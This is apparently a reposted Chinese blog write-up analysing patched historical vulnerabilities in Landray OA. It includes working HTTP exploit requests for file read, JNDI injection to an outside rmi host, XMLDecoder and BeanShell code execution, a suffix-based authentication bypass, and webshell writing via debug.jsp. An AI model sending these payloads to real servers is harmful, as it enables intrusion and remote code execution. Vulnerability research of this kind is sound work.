蓝凌OA历史漏洞
2022-8-23 10:6:53 Author: 珂技知识分享(查看原文) 阅读量:2273 收藏

均为网上已经爆出的历史漏洞,其中最新的也已在2022年得到修复无法利用。

1.    custom.jsp文件读取

/sys/ui/extend/varkind/custom.jsp

<%    JSONObject vara = JSONObject.fromObject(request.getParameter("var"));    JSONObject body = JSONObject.fromObject(vara.get("body"));    if(body.containsKey("file")){%><c:import url='<%=body.getString("file") %>' charEncoding="UTF-8">    <c:param name="var" value="${ param['var'] }"></c:param></c:import><% }%>

可以看出来从var传参中拿json,json的body值中拿file,然后引用file。因此产生了一个任意文件读取。
最初公开的exp是用来读取admin.do的密钥的。

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedContent-Length: 60
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}


jsp中的c:import标签和c:param标签是用来包含本地资源,或者引用远程资源的。
(依赖jstl.jar/standard.jar)

<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%><c:import url="http://java.sun.com" > <c:param name="test" value="1234" /> </c:import>

这样实际上相当于引用http://java.sun.com?test=1234,不会执行代码,是一个SSRF。
如果使用/WEB-INF/web.xml,就会引用本地文件(jsp才会包含),无法用../逃脱目录,因此只能用来读取该项目的配置文件或者包含其他jsp(Servlet也可以,所以这里确切来说更像SSRF)。
当然,还可以用file:///etc/passwd以逃脱目录,但同样无法用来包含。所以有时候不能用相对路径读取admin.properties,就必须猜测绝对路径。

既然可以包含其他jsp或者Servlet,并且权限控制不在jsp中而是由路由分配,那么就产生了第二种利用方式,包含那些需要权限的jsp进行越权。具体有哪些可以继续看。

2.    admin.do jndi/jdbc

通过漏洞1获取了admin的密钥,则可以进入一个管理员页面
/admin.do

很明显通过数据库测试功能我们可以创建一个JDBC或者JNDI连接,来造成反序列化/JNDI注入/任意文件读取等。具体怎么利用请自行搜索。

POST /admin.do HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedCookie: JSESSIONID=testContent-Length: 55
method=testDbConn&datasource=rmi://s72tey.dnslog.cn/exp


但由于这个功能是靠独立的cookie鉴权的,因此无法用文件包含去越权。

3.    sysSearchMain.do XMLdecode反序列化

/sys/search/sys_search_main/sysSearchMain.do
代码位于
kmss_sys_search.jar!com.landray.kmss.sys.search.actions.SysSearchMainAction

  public ActionForward editParam(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {    TimeCounter.logCurrentTime("Action-editParam", true, getClass());    KmssMessages messages = new KmssMessages();    try {      SysSearchMainForm mainForm = (SysSearchMainForm)form;      if (StringUtil.isNull(mainForm.getFdParemNames()))        return getActionForward("edit", mapping, form, request,             response);       Map<String, Object> searchConditionInfo = new HashMap<>();      List<SearchConditionEntry> entries =         SysSearchDictUtil.getParamConditionEntry(mainForm);      searchConditionInfo.put("entries", entries);      request.setAttribute("searchConditionInfo", searchConditionInfo);      setParametersToSearchConditionInfo(mainForm, searchConditionInfo);    } catch (Exception e) {      messages.addError(e);    }     TimeCounter.logCurrentTime("Action-editParam", false, getClass());    if (messages.hasError()) {      KmssReturnPage.getInstance(request).addMessages(messages)        .addButton(0).save(request);      return getActionForward("failure", mapping, form, request, response);    }     return getActionForward("editParam", mapping, form, request,         response);  }

ActionForm类为封装的参数,先判断mainForm.getFdParemNames()是否为空,然后是核心代码setParametersToSearchConditionInfo(mainForm, searchConditionInfo),跟进。

  protected void setParametersToSearchConditionInfo(SysSearchMainForm mainForm, Map<String, Object> searchConditionInfo) throws Exception {    if (StringUtil.isNotNull(mainForm.getFdParameters())) {      Map<String, Map<String, String>> parameters =         ObjectXML.objectXMLDecoderByString(mainForm.getFdParameters())        .get(0);      searchConditionInfo.put("parameters", parameters);    }   }

可以看到mainForm.getFdParameters()经过了objectXMLDecoderByString()处理,因此此处存在XMLDecoder反序列化,由于此OA存在bsh,因此可直接执行命令。

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedContent-Length: 328
var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<java><void class="bsh.Interpreter"><void method="eval"><string>Runtime.getRuntime().exec("calc");</string></void></void></java>

而bsh可直接回显或者打入内存马如下。

更多XMLDecoder反序列化payload自寻。

同action下rtnEditParam也存在一模一样的问题。

4.    dataxml.jsp 等代码执行

/sys/common/dataxml.jsp
/sys/common/treexml.jsp
/sys/common/treejson.jsp
/sys/common/datajson.jsp
/data/sys-common/dataxml
/data/sys-common/treexml
/data/sys-common/datajson

/sys/common目录下有一系列神奇的jsp,而且它们有几个还有对应的分身,为了方便,我们直接去jar包看分身的源码。
kmss_core.jar!com.landray.kmss.common.actions.DataController

  @RequestMapping(value = {"datajson"}, produces = {"application/json;charset=UTF-8"})  @ResponseBody  public RestResponse<JSONArray> datajson(HttpServletRequest request, HttpServletResponse response) throws Exception {    String s_bean = request.getParameter("s_bean");    JSONArray array = new JSONArray();    JSONArray jsonArray = null;    try {      Assert.notNull(s_bean, "参数s_bean不能为空!");      RequestContext requestInfo = new RequestContext(request, true);      String[] beanList = s_bean.split(";");      List result = null;      for (int i = 0; i < beanList.length; i++) {        IXMLDataBean treeBean = (IXMLDataBean)SpringBeanUtil.getBean(beanList[i]);        result = treeBean.getDataList(requestInfo);


s_bean传参,可以用分号分割,然后依次getBean,最终强转成IXMLDataBean,将整个RequestContext传进去调用getDataList()。也就是说,我们可以调用任意实现了IXMLDataBean接口的getDataList(),那么搜索getDataList发现如下类。

其中SysFormulaValidate可造成bsh代码执行。

  public List getDataList(RequestContext requestInfo) throws Exception {    List<Map<Object, Object>> rtnVal = new ArrayList();    Map<Object, Object> node = new HashMap<>();    String msg = null;    String confirm = null;    try {      String script = requestInfo.getParameter("script");      String type = requestInfo.getParameter("returnType");      String funcs = requestInfo.getParameter("funcs");      String model = requestInfo.getParameter("model");      FormulaParser parser = FormulaParser.getInstance(requestInfo,           new ValidateVarGetter(null), model);      if (StringUtil.isNotNull(funcs)) {        String[] funcArr = funcs.split(";");        for (int i = 0; i < funcArr.length; i++)          parser.addPropertiesFunc(funcArr[i]);       }       Object value = parser.parseValueScript(script, type);

script传参,跟进parseValueScript()

  public Object parseValueScript(String script, String type) throws EvalException, KmssUnExpectTypeException {    Object value = parseValueScript(script);    if (StringUtil.isNotNull(type))      value = getSysMetadataParser().formatValue(value, type);     return value;  }

继续跟进parseValueScript()

  public Object parseValueScript(String script) throws EvalException {    if (StringUtil.isNull(script))      return null;     Interpreter interpreter = new Interpreter();    ClassLoader loader = Thread.currentThread().getContextClassLoader();    try {      if (loader != null)        interpreter.setClassLoader(loader);       StringBuffer importPart = new StringBuffer();      importPart.append("import ").append(          OtherFunction.class.getPackage().getName()).append(          ".*;\r\n");      StringBuffer preparePart = new StringBuffer();      StringBuffer leftScript = new StringBuffer();      String rightScript = script.trim();      Map<String, FunctionScript> funcScriptMap = new HashMap<>();/*.............*/      String m_script = String.valueOf(importPart.toString()) + preparePart.toString() +         leftScript + rightScript;      if (logger.isDebugEnabled())        logger.debug("执行公式:" + m_script);       runningData.set(this.contextData);      return interpreter.eval(m_script);

可以发现就是bsh代码执行,因此POC可以构造出来。

POST /sys/ui/extend/varkind/custom.jsp  HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedContent-Length: 143
var={"body":{"file":"/data/sys-common/datajson"}}&s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("whoami");

而其他6个接口代码和/data/sys-common/datajson类似,因此一共七处地方可以调用SysFormulaValidate.getDataList()执行bsh代码。
/sys/common/dataxml.jsp
/sys/common/treexml.jsp
/sys/common/treejson.jsp
/sys/common/datajson.jsp
/data/sys-common/dataxml
/data/sys-common/treexml
/data/sys-common/datajson

那么其他IXMLDataBean就没问题了吗,我们继续看SysFormulaValidateByJS。

  public List getDataList(RequestContext requestInfo) throws Exception {    List<Map<Object, Object>> rtnVal = new ArrayList();    Map<Object, Object> node = new HashMap<>();    String msg = null;    String confirm = null;    try {      String script = requestInfo.getParameter("script");      String type = requestInfo.getParameter("returnType");      String funcs = requestInfo.getParameter("funcs");      String model = requestInfo.getParameter("model");      FormulaParserByJS parser = FormulaParserByJS.getInstance(requestInfo,           new ValidateVarGetter(null), model);      if (StringUtil.isNotNull(funcs)) {        String[] funcArr = funcs.split(";");        for (int i = 0; i < funcArr.length; i++)          parser.addPropertiesFunc(funcArr[i]);       }       Object value = parser.parseValueScript(script, type);


向下跟就会发现。

    ScriptEngineManager factory = new ScriptEngineManager();    ScriptEngine engine = factory.getEngineByMimeType("text/javascript");/*.............*/      return engine.eval(m_script);
POST /sys/ui/extend/varkind/custom.jsp  HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedContent-Length: 176
var={"body":{"file":"/data/sys-common/datajson"}}&s_bean=sysFormulaValidateByJS&script=new java.lang.ProcessBuilder['(java.lang.String[])'](['sh','-c','touch /tmp/1']).start();


这种sink点不少,甚至其他jar也有,具体不一一表述。

5.    dataxml等越权

上文提到的
/data/sys-common/dataxml
/data/sys-common/treexml
/data/sys-common/datajson

存在静态资源后缀越权,直接访问如下

增加静态资源后缀,js/png/tmpl则可直接访问

因此POC如下。

POST /data/sys-common/dataxml.js HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedContent-Length: 65
s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("id");


其原因是静态资源走ResourceCacheFilter,无需权限校验。
WEB-INF/KmssConfig/sys/authentication/spring.xml

而该OA的useSuffixPatternMatch开关又默认开启,导致可以通过增加静态资源后缀进行权限绕过。

6.    erp_data.jsp代码执行

/tic/core/resource/js/erp_data.jsp
和dataxml.jsp一样,唯一不同的是传参变了。

POST /sys/ui/extend/varkind/custom.jsp  HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedContent-Length: 136
var={"body":{"file":"/tic/core/resource/js/erp_data.jsp"}}&erpServcieName=sysFormulaValidate&script=Runtime.getRuntime().exec("whoami");

7.    debug.jsp代码执行

/sys/common/debug.jsp

<%    String code = request.getParameter("fdCode");    if(code!=null){        code = "<"+"%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\""+            " pageEncoding=\"UTF-8\"%"+"><" + "% " + code + " %" + ">";        FileOutputStream outputStream = new FileOutputStream(ConfigLocationsUtil.getWebContentPath()+"/sys/common/code.jsp");        BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(                outputStream, "UTF-8"));        bw.write(code);        bw.close();%>


额,非常直白的写jsp。

POST /sys/ui/extend/varkind/custom.jsp  HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedContent-Length: 80
var={"body":{"file":"/sys/common/debug.jsp"}}&fdCode=out.println("Hello world");


然后再访问code.jsp

POST /sys/ui/extend/varkind/custom.jsp  HTTP/1.1Host: test.comContent-Type: application/x-www-form-urlencodedContent-Length: 44
var={"body":{"file":"/sys/common/code.jsp"}}

文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485512&idx=1&sn=07f6985b8c0181e171703ef15680e456&chksm=fa973527cde0bc31563ccfcb2a7822a74ea71cb8b3ecd600ade86f41c9f0f381f2b91173844e#rd
如有侵权请联系:admin#unsafe.sh